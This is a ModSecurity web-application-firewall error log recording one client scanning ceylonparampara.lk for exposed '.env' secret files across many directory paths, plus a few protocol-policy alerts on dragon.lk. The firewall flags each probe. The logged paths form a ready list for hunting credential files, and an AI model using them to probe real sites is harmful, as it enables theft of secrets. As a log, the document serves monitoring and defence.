[Fri Jul 17 09:25:59.015299 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/database/.env"] [unique_id "almnz4-0g_VSPeIeFN3F2wAAAAs"]
[Fri Jul 17 09:25:59.015624 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/database/.env"] [unique_id "almnz4-0g_VSPeIeFN3F2wAAAAs"]
[Fri Jul 17 09:25:59.015981 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/database/.env"] [unique_id "almnz4-0g_VSPeIeFN3F2wAAAAs"]
[Fri Jul 17 09:25:59.182254 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/storage/.env"] [unique_id "almnzw7FYe46zHK_jL3VggAAABk"]
[Fri Jul 17 09:25:59.182543 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/storage/.env"] [unique_id "almnzw7FYe46zHK_jL3VggAAABk"]
[Fri Jul 17 09:25:59.182987 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/storage/.env"] [unique_id "almnzw7FYe46zHK_jL3VggAAABk"]
[Fri Jul 17 09:25:59.323675 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:59.371355 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/var/www/.env"] [unique_id "almnz_wooI4qY7Jg93paywAAABM"]
[Fri Jul 17 09:25:59.371660 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/var/www/.env"] [unique_id "almnz_wooI4qY7Jg93paywAAABM"]
[Fri Jul 17 09:25:59.372085 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/var/www/.env"] [unique_id "almnz_wooI4qY7Jg93paywAAABM"]
[Fri Jul 17 09:25:59.537783 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:59.547468 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/var/www/html/.env"] [unique_id "almnz1CBpfuYyhJ140vYFAAAAB4"]
[Fri Jul 17 09:25:59.547755 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/var/www/html/.env"] [unique_id "almnz1CBpfuYyhJ140vYFAAAAB4"]
[Fri Jul 17 09:25:59.548181 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/var/www/html/.env"] [unique_id "almnz1CBpfuYyhJ140vYFAAAAB4"]
[Fri Jul 17 09:25:59.639825 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:59.712344 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/current/.env"] [unique_id "almnz_wooI4qY7Jg93pazAAAABM"]
[Fri Jul 17 09:25:59.712608 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/current/.env"] [unique_id "almnz_wooI4qY7Jg93pazAAAABM"]
[Fri Jul 17 09:25:59.712923 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/current/.env"] [unique_id "almnz_wooI4qY7Jg93pazAAAABM"]
[Fri Jul 17 09:25:59.876203 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/release/.env"] [unique_id "almnz1h1WDijTxd1xw5RxAAAAAc"]
[Fri Jul 17 09:25:59.876458 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/release/.env"] [unique_id "almnz1h1WDijTxd1xw5RxAAAAAc"]
[Fri Jul 17 09:25:59.876859 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/release/.env"] [unique_id "almnz1h1WDijTxd1xw5RxAAAAAc"]
[Fri Jul 17 09:26:00.067619 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/releases/.env"] [unique_id "almn0EkXT4NBqALj2laCZQAAABA"]
[Fri Jul 17 09:26:00.067879 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/releases/.env"] [unique_id "almn0EkXT4NBqALj2laCZQAAABA"]
[Fri Jul 17 09:26:00.068248 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/releases/.env"] [unique_id "almn0EkXT4NBqALj2laCZQAAABA"]
[Fri Jul 17 09:26:00.147650 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:00.250486 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:00.256839 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/shared/.env"] [unique_id "almn0F1_86A5R6msWNfZ4AAAABI"]
[Fri Jul 17 09:26:00.257146 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/shared/.env"] [unique_id "almn0F1_86A5R6msWNfZ4AAAABI"]
[Fri Jul 17 09:26:00.257629 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/shared/.env"] [unique_id "almn0F1_86A5R6msWNfZ4AAAABI"]
[Fri Jul 17 09:26:00.263379 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/avision-printers-and-scanners"] [unique_id "almn0Fh1WDijTxd1xw5RxQAAAAc"]
[Fri Jul 17 09:26:00.263489 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/avision-printers-and-scanners"] [unique_id "almn0Fh1WDijTxd1xw5RxQAAAAc"]
[Fri Jul 17 09:26:00.263841 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/printers-scanners/avision-printers-and-scanners"] [unique_id "almn0Fh1WDijTxd1xw5RxQAAAAc"]
[Fri Jul 17 09:26:00.359139 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:00.410994 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/deploy/.env"] [unique_id "almn0LEKozcCJ-ReuK0IYgAAAAg"]
[Fri Jul 17 09:26:00.411363 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/deploy/.env"] [unique_id "almn0LEKozcCJ-ReuK0IYgAAAAg"]
[Fri Jul 17 09:26:00.411810 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/deploy/.env"] [unique_id "almn0LEKozcCJ-ReuK0IYgAAAAg"]
[Fri Jul 17 09:26:00.545796 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn0Fh1WDijTxd1xw5RxQAAAAc"]
[Fri Jul 17 09:26:00.553505 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:00.571701 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/build/.env"] [unique_id "almn0K14q1EBnanVMYGpawAAAAk"]
[Fri Jul 17 09:26:00.571972 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/build/.env"] [unique_id "almn0K14q1EBnanVMYGpawAAAAk"]
[Fri Jul 17 09:26:00.572422 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/build/.env"] [unique_id "almn0K14q1EBnanVMYGpawAAAAk"]
[Fri Jul 17 09:26:00.729323 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/dist/.env"] [unique_id "almn0A7FYe46zHK_jL3VhAAAABk"]
[Fri Jul 17 09:26:00.729629 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/dist/.env"] [unique_id "almn0A7FYe46zHK_jL3VhAAAABk"]
[Fri Jul 17 09:26:00.729988 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/dist/.env"] [unique_id "almn0A7FYe46zHK_jL3VhAAAABk"]
[Fri Jul 17 09:26:00.860551 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:00.895875 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/public_html/.env"] [unique_id "almn0EkXT4NBqALj2laCZwAAABA"]
[Fri Jul 17 09:26:00.896127 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/public_html/.env"] [unique_id "almn0EkXT4NBqALj2laCZwAAABA"]
